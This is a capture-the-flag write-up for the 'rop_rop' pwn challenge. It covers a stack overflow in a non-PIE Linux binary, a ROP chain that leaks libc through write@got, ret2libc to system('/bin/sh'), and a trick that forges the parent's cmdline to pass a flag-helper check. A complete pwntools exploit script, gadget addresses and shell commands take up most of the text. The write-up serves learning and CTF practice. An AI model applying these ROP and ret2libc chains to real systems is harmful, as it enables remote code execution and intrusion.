pwn4 rop_rop
pwn4 rop_rop
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: function_reentry, libc_base_from_got, movaps_alignment, parent_cmdline_spoof, ret2libc, rop_got_leak
Summary
Task: NON-PIE x86-64 ELF with NX/no-canary, stack overflow in read() but NO leak helper and NO win function — only write/read/setvbuf in PLT. Solution: build the libc leak yourself with a ROP write@plt(1, write@got, 8), re-enter logic() for a second read, compute libc-2.31 base, then ret2libc system("/bin/sh"); satisfy /bin/getflag via the getppid /proc/cmdline parent-spoof trick.
pwn4 rop_rop — pwn_spbctf
Description
Can you pwn it?
A 64-bit x86-64 ELF (rop_rop / task) on pwn.spbctf.ru, remote nc 109.233.56.90 11653, tier pwn4 "shellcoding". Provided: the binary and libc-2.31.so. Goal: pop a shell and read the flag via the platform /bin/getflag helper. Flag submitted via POST flag, tile → "solved tile".
Analysis
checksec: NON-PIE (loaded at 0x400000), NX enabled, no stack canary, partial RELRO.
The crucial constraint: there is no leak function and no win function. The only libc imports reachable via PLT are write, read, and setvbuf. So we must manufacture our own infoleak.
Control flow:
main @0x400630: callssetvbuftwice (unbuffered stdin/stdout),write(1, 0x400734, 3)prints a 3-byte banner, stores a dummy0xc35ac3c9at[rbp-0x10], thencall logic().logic @0x400600:read(0, buf=[rbp-0x20], 0x100)— a classic stack overflow (reads0x100bytes into a0x20-byte buffer). Offset frombufto the saved return address is 0x28.
Useful gadgets present in the NON-PIE binary text:
0x400713 : pop rdi ; ret
0x400711 : pop rsi ; pop r15 ; ret
0x400693 : pop rdx ; ret
0x4004c6 : ret # movaps alignment
Because the binary is non-PIE, all gadget/PLT/GOT addresses are fixed (no binary leak needed). The binary conveniently has clean pop rsi;pop r15;ret and pop rdx;ret gadgets, so we can set all three System V argument registers directly. (If those were missing, the __libc_csu_init "universal" gadget — mov rdx,r15; mov rsi,r14; mov edi,r13d; call [r12+8*rbx] with rbx=0 — would serve the same purpose to control rsi/rdx/edi for the write call.)
Solution
Two-stage manual-leak + ret2libc:
Stage 1 — build the leak
There is no helper that prints a libc pointer, so we ROP-call write@plt(1, write@got, 8) to dump the resolved libc address of write out of the GOT. After the leak we re-enter logic() (return into its symbol) so the vulnerable read() runs again, giving us a clean second-stage overflow.
python read-only • copy allowedoff = 0x28 chain = b'A'*off chain += p64(POP_RDI) + p64(1) # fd = 1 chain += p64(POP_RSI_R15) + p64(WRITE_GOT) + p64(0) # buf = write@got chain += p64(POP_RDX) + p64(8) # count = 8 chain += p64(WRITE_PLT) # write(1, write@got, 8) chain += p64(LOGIC) # re-enter logic() for stage 2 io.send(chain.ljust(0x100, b'\x90')) base = u64(io.recv(8).ljust(8, b'\0')) - libc.sym['write']
Stage 2 — ret2libc system("/bin/sh")
With the libc base known (from libc-2.31.so), the second overflow returns into system("/bin/sh"). A bare ret is inserted before the call to fix the 16-byte stack alignment that system's movaps instructions require. The payload is padded to 0x100 and stdin is kept open so the shell stays interactive.
python read-only • copy allowedsystem = base + libc.sym['system'] binsh = base + next(libc.search(b'/bin/sh\x00')) chain2 = b'A'*off + p64(RET) + p64(POP_RDI) + p64(binsh) + p64(system) io.send(chain2.ljust(0x100, b'\x90'))
Getting the flag — /bin/getflag parent-cmdline spoof
The platform /bin/getflag (same mechanism as the sibling rop_shellcode task) does not trust the caller directly: it reads getppid() and compares /proc/<ppid>/cmdline against a fixed magic byte string:
sh\0-c\0x86_64 -R /ld-2.31.so --preload /libc-2.31.so /task 2>&1
So getflag only prints the flag when its parent process has exactly that argv. From the shell we forge such a parent: drop a fake x86_64 launcher in a writable PATH dir that execs /bin/getflag, then invoke it through sh -c with the magic argv so that getflag's parent cmdline matches.
sh read-only • copy allowed# in the popped shell cat > /tmp/x86_64 <<'EOF' #!/bin/sh exec /bin/getflag EOF chmod +x /tmp/x86_64 PATH=/tmp:$PATH sh -c 'x86_64 -R /ld-2.31.so --preload /libc-2.31.so /task 2>&1'
The sh -c '...' process becomes getflag's parent; its /proc/<ppid>/cmdline equals the expected magic string → getflag prints the flag.
Full solve script
python read-only • copy allowed#!/usr/bin/env python3 # rop_rop: leak libc via write(1, write@got, 8); re-enter logic; system("/bin/sh"); # then from the shell, spawn getflag with a parent whose /proc/<pid>/cmdline equals # the magic string getflag's memcmp expects: # "sh\0-c\0x86_64 -R /ld-2.31.so --preload /libc-2.31.so /task 2>&1" from pwn import * import sys context.arch = 'amd64' HOST, PORT = '109.233.56.90', 11653 e = ELF('rop_rop', checksec=False) libc = ELF('rop_rop_libc.so', checksec=False) # == libc-2.31.so POP_RDI = 0x400713 # pop rdi ; ret POP_RSI_R15 = 0x400711 # pop rsi ; pop r15 ; ret POP_RDX = 0x400693 # pop rdx ; ret RET = 0x4004c6 # ret (movaps alignment) WRITE_PLT = e.plt['write'] LOGIC = e.sym['logic'] WRITE_GOT = e.got['write'] CMD = sys.argv[1].encode() if len(sys.argv) > 1 else b'cat /flag.txt /flag 2>/dev/null' io = remote(HOST, PORT) io.recv(timeout=1) off = 0x28 # STAGE 1: write(1, write@got, 8) then re-enter logic() for stage 2 c = b'A'*off + p64(POP_RDI)+p64(1) + p64(POP_RSI_R15)+p64(WRITE_GOT)+p64(0) \ + p64(POP_RDX)+p64(8) + p64(WRITE_PLT) + p64(LOGIC) io.send(c.ljust(0x100, b'\x90')) base = u64(io.recv(8, timeout=3).ljust(8, b'\0')) - libc.sym['write'] log.success("libc base = %#x" % base) system = base + libc.sym['system'] binsh = base + next(libc.search(b'/bin/sh\x00')) # STAGE 2: ret2libc system("/bin/sh"); RET fixes movaps 16-byte alignment c2 = b'A'*off + p64(RET) + p64(POP_RDI)+p64(binsh) + p64(system) io.send(c2.ljust(0x100, b'\x90')) sleep(0.5) # In the shell: forge getflag's parent cmdline (getppid /proc/cmdline check) getflag = ( "cat > /tmp/x86_64 <<'EOF'\n" "#!/bin/sh\n" "exec /bin/getflag\n" "EOF\n" "chmod +x /tmp/x86_64\n" "PATH=/tmp:$PATH sh -c 'x86_64 -R /ld-2.31.so --preload /libc-2.31.so /task 2>&1'\n" ) io.send(getflag.encode()) sleep(1.5) print(b"OUTPUT:\n" + io.recv(timeout=4)) io.close()